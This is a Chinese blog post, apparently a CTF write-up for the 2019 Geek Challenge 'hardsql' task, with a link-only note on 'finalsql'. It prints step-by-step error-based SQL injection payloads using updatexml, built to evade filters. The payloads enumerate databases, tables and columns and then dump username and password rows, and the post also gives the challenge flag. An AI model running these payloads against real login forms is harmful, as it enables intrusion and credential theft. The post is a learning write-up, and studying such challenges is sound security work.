从2019极客大挑战sql题看sql注入(续）_极客大挑战2019的sql系列可以用sqlmap么-优快云博客

本文链接：https://blog.youkuaiyun.com/limenzzz/article/details/124065572

本文记录了一次SQL注入攻击的过程，包括报错注入的运用，从爆库、爆表到爆字段内容的详细步骤。作者通过学习和实践，逐步解析了payload的构造，并最终获取了flag。在总结中，作者提到了自己在布尔盲注、时间注入和报错注入方面的不足，并分享了相关学习资源和过滤绕过技巧。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

书接上回，2019极挑还有两题较难的sql注入（虽然对大佬来说非常简单），想借此来记录自己不太会的题目_(:з」∠)_

1.hardsql

尝试union，万能钥匙，order by 都失败。于是看了一下大佬的题解，得知是报错注入（报错注入和时间注入确实不太会）

这里附上学习地址

报错注入是什么？一看你就明白了。报错注入原理+步骤+实战案例_士别三日wyx的博客-优快云博客

1.1尝试爆库

payload

?username=1%27or%28updatexml%281,concat(0x7e,database(),0x7e),1))%23&password=1221

1.2尝试爆表

payload

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1221

1.3爆字段

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1221

1.4爆破字段内容

payload

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x3e,username,0x3e,password))from(geek.H4rDsq1)),0x7e),1))%23&password=1221

发现只有一半，看了大佬wp后发现要用right（）和left（）。于是再次构建payload

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(geek.H4rDsq1)),0x7e),1))%23&password=1221

拼合得到flag、

flag{d53789d2-7e69-4958-a9ab-583500b2ec0d}

2finalsql

布尔盲注，还得跑代码就涉及知识盲区了，在这里就只挂个大佬的wp，等以后技术娴熟了再回头来试试。

BUUCTF [极客大挑战 2019]FinalSQL_Chu_Jian_JX的博客-优快云博客_buuctf finalsql

3.总结

感觉自己不太会的就是布尔盲注，时间注入，报错注入。

其中布尔盲注只能看运气，sqlmap可以辅助但还是有不懂的地方。时间注入基本没做到过题目(还得再刷)。报错注入做过几道题目但还不熟。

在有绕过的情况下，要非常注意括号数量一不小心就会多几个或少几个。还有一般的查询语句不要搞错，手注特别容易打错data->date 这些。。。。

在对付过滤的时候有些知识是必备的在这附上一个链接，方便以后面对过滤时有办法应对。

SQL注入一些过滤及绕过总结_obsetear的博客-优快云博客_sql注入关键字过滤绕过

附言

接下来还得总结一下文件传输题目和伪协议，代码审计等。当然sql其实也只会了一点基础Orz。

希望自己不要这么菜了。。。。。